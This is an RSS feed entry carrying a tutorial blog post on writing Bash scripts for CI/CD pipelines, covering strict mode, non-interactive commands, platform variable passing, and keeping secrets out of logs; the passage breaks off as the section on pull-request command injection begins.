<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pipeline on Hoang Duong</title><link>https://tech.nguuyen.io.vn/tags/pipeline/</link><description>Recent content in Pipeline on Hoang Duong</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Wed, 08 Jul 2026 00:00:00 +0700</lastBuildDate><atom:link href="https://tech.nguuyen.io.vn/tags/pipeline/index.xml" rel="self" type="application/rss+xml"/><item><title>Bash in CI/CD: Building Secure, Automated Pipelines for DevOps</title><link>https://tech.nguuyen.io.vn/posts/bash/bash-step-eleven/</link><pubDate>Wed, 08 Jul 2026 00:00:00 +0000</pubDate><guid>https://tech.nguuyen.io.vn/posts/bash/bash-step-eleven/</guid><description>&lt;img src="https://tech.nguuyen.io.vn/images/bash/bash-step-eleven.jpg" alt="Featured image of post Bash in CI/CD: Building Secure, Automated Pipelines for DevOps" /&gt;&lt;h2 id="bash-in-cicd-for-devops"&gt;Bash in CI/CD for DevOps
&lt;/h2&gt;&lt;p&gt;In the &lt;a class="link" href="https://tech.nguuyen.io.vn/posts/bash/bash-step-ten/" &gt;previous post&lt;/a&gt;, we explored capturing errors and cleaning up resources with &lt;code&gt;trap&lt;/code&gt;, along with implementing automated Retry Patterns. When deploying these scripts into Continuous Integration and Continuous Delivery (CI/CD) workflows, Bash serves as the fundamental execution engine powering modern automation platforms like GitHub Actions, GitLab CI, Jenkins, and Bitbucket Pipelines.&lt;/p&gt;
&lt;p&gt;While CI/CD platforms define workflow orchestrations using declarative YAML or domain-specific languages (DSLs), the actual operational tasks—installing dependencies, compiling code, running tests, building Docker images, and deploying artifacts—are overwhelmingly orchestrated by shell scripts.&lt;/p&gt;
&lt;p&gt;However, executing Bash within CI/CD runners differs fundamentally from interactive terminal sessions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Non-interactive execution environments (no TTY available for interactive prompts like &lt;code&gt;[y/n]&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Any unhandled non-zero exit status immediately terminates the entire pipeline.&lt;/li&gt;
&lt;li&gt;Security hazards, such as leaking secrets to public logs or Command Injection via untrusted Pull Request context, can expose sensitive infrastructure credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This article outlines core principles, essential security practices, and structural patterns for writing production-grade Bash scripts that integrate seamlessly into modern CI/CD pipelines.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="golden-rules-for-bash-in-cicd"&gt;Golden Rules for Bash in CI/CD
&lt;/h2&gt;&lt;h3 id="always-enforce-strict-mode"&gt;Always Enforce Strict Mode
&lt;/h3&gt;&lt;p&gt;In CI/CD runners, execution must halt immediately upon the first failure to prevent deploying broken artifacts to downstream environments:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; -euo pipefail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\n\t&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;set -e&lt;/code&gt;&lt;/strong&gt;: Aborts the step immediately if any command returns a non-zero exit status, alerting the runner to mark the pipeline as failed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;set -u&lt;/code&gt;&lt;/strong&gt;: Immediately exits with an error when attempting to expand an unset variable (preventing missing secret errors).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;set -o pipefail&lt;/code&gt;&lt;/strong&gt;: Ensures pipeline commands (e.g., &lt;code&gt;build_app | tee build.log&lt;/code&gt;) return the exit code of &lt;code&gt;build_app&lt;/code&gt; rather than &lt;code&gt;tee&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="non-interactive-execution"&gt;Non-Interactive Execution
&lt;/h3&gt;&lt;p&gt;CI/CD runners execute autonomously without human operators. Every command invoking package managers or system utilities must run in non-interactive mode with automated confirmation flags enabled:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# For Debian / Ubuntu&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;DEBIAN_FRONTEND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;noninteractive
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get install -y --no-install-recommends curl jq
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# For Docker, Git, and Terraform&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker login -u &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DOCKER_USER&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; --password-stdin &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DOCKER_PASS&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone --depth &lt;span class="m"&gt;1&lt;/span&gt; --branch &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$BRANCH&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$REPO_URL&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;terraform apply -auto-approve
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="interacting-with-popular-cicd-platforms"&gt;Interacting with Popular CI/CD Platforms
&lt;/h2&gt;&lt;p&gt;Each CI/CD platform provides dedicated mechanisms for Bash scripts to communicate state, export environment variables, or generate execution summaries.&lt;/p&gt;
&lt;h3 id="github-actions"&gt;GitHub Actions
&lt;/h3&gt;&lt;p&gt;GitHub Actions uses specialized environment files for data interchange:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. Export environment variables to subsequent steps ($GITHUB_ENV)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;APP_VERSION=v2.5.0&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_ENV&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;DEPLOY_ENV=staging&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_ENV&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. Export step outputs for downstream steps and jobs ($GITHUB_OUTPUT)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;image_tag=sha-abc1234&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. Export multiline outputs securely&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;release_notes&amp;lt;&amp;lt;EOF&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; git log -n &lt;span class="m"&gt;5&lt;/span&gt; --oneline
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;EOF&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 4. Append rich Markdown tables to workflow summary ($GITHUB_STEP_SUMMARY)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;### Deployment Summary&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;| Service | Status | Version |&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;| :--- | :--- | :--- |&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;| API Gateway | Success | v2.5.0 |&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;| Worker | Success | v2.5.0 |&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_STEP_SUMMARY&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="gitlab-ci"&gt;GitLab CI
&lt;/h3&gt;&lt;p&gt;In GitLab CI, variables are passed between jobs via dotenv artifact files declared under &lt;code&gt;artifacts:reports:dotenv&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# .gitlab-ci.yml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;build_job&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;stage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;build&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;echo &amp;#34;APP_VERSION=1.4.2&amp;#34; &amp;gt; build.env&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;echo &amp;#34;IMAGE_TAG=registry.example.com/app:1.4.2&amp;#34; &amp;gt;&amp;gt; build.env&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;artifacts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;reports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dotenv&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;build.env&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;deploy_job&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;stage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;deploy&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dependencies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;build_job&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;echo &amp;#34;Deploying version $APP_VERSION with image $IMAGE_TAG...&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="jenkins-pipelines"&gt;Jenkins Pipelines
&lt;/h3&gt;&lt;p&gt;In Jenkins Declarative or Scripted Pipelines, Bash commands execute within &lt;code&gt;sh&lt;/code&gt; blocks:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-groovy" data-lang="groovy"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;pipeline&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;agent&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stages&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Build &amp;amp; Test&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;#!/usr/bin/env bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; set -euo pipefail
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; echo &amp;#34;Starting test suite...&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; npm test
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="pipeline-security-and-secret-management"&gt;Pipeline Security and Secret Management
&lt;/h2&gt;&lt;p&gt;CI/CD runners are high-value attack targets. Careless script design can expose credentials in public build logs or enable arbitrary code execution.&lt;/p&gt;
&lt;h3 id="disabling-trace-mode-around-sensitive-operations"&gt;Disabling Trace Mode Around Sensitive Operations
&lt;/h3&gt;&lt;p&gt;When debugging with &lt;code&gt;set -x&lt;/code&gt;, Bash prints expanded variable values to the terminal stream. If your script evaluates tokens or passwords, sensitive data will be captured in logs. Disable tracing with &lt;code&gt;set +x&lt;/code&gt; before evaluating secrets:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Disable trace mode prior to reading secrets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; +x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;DATABASE_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SECRET_DB_PASSWORD&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;authenticate_vault &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$SECRET_API_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Re-enable trace mode if necessary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; -x
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="preventing-command-injection-via-pull-request-context"&gt;Preventing Command Injection via Pull Request Context
&lt;/h3&gt;&lt;p&gt;A critical vulnerability in GitHub Actions workflows occurs when untrusted PR metadata is embedded directly into inline shell statements:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
